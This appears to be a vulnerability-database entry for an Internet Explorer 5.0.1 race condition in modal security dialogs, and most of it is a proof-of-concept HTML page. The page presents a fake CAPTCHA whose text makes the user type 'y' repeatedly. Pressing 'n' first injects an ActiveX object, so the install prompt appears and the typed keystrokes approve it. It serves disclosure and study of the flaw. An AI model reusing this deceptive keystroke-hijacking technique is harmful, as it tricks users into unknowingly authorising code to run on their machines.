Microsoft Internet Explorer 5.0.1 Modal Dialog Manipulation Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Internet Explorer 5.0.1 Modal Dialog Manipulation Vulnerabilit


                                                source: http://www.securityfocus.com/bid/17713/info

Internet Explorer is prone to a remote code-execution vulnerability through exploiting a race-condition when displaying modal security dialog boxes.

This issue may be exploited to cause users to inadvertently allow remote-code to be executed.


&#60;HEAD&#62;
&#60;TITLE&#62;Internet Explorer ActiveX Installation Vulnerability&#60;/TITLE&#62;
&#60;/HEAD&#62;
&#60;BODY BGCOLOR=&#34;#FFFFFF&#34; TEXT=&#34;#000000&#34;&#62;
&#60;SCRIPT&#62;

function doInstallControl() {

	document.body.innerHTML +=
		&#34;&#60;OBJECT CLASSID=\&#34;clsid:928626A3-6B98-11CF-90B4-00AA00A4011F\&#34; TYPE=\&#34;application/x-oleobject\&#34; CODEBASE=\&#34;http://activex.microsoft.com/activex/controls/museum/MSSurVid.cab#Version=1,2,0,7\&#34; WIDTH=\&#34;325\&#34; HEIGHT=\&#34;250\&#34;&#62;\r\n&#34; +
            	&#34;&#60;PARAM NAME=\&#34;SurroundRect\&#34; VALUE=\&#34;0,0,325,250\&#34;&#62;\r\n&#34; +
            	&#34;&#60;PARAM NAME=\&#34;Image\&#34; VALUE=\&#34;ritetree.jpg\&#34;&#62;\r\n&#34; +
          	&#34;&#60;/OBJECT&#62;&#34;;

	document.getElementById(&#34;captcha&#34;).focus();
}

function doWaitEntry() {

	if (event.keyCode == 78 || event.keyCode == 110) {
		doInstallControl();
	}

}

&#60;/SCRIPT&#62;

&#60;FORM ACTION=&#34;&#34; METHOD=&#34;GET&#34;&#62;
Please enter the text you see on the left:&#60;BR&#62;&#60;BR&#62;

&#60;B&#62;on3l1y6y8y5y&#60;/B&#62; &#60;INPUT TYPE=&#34;text&#34; ID=&#34;captcha&#34; ONKEYPRESS=&#34;doWaitEntry()&#34;&#62;

&#60;/FORM&#62;

&#60;/BODY&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1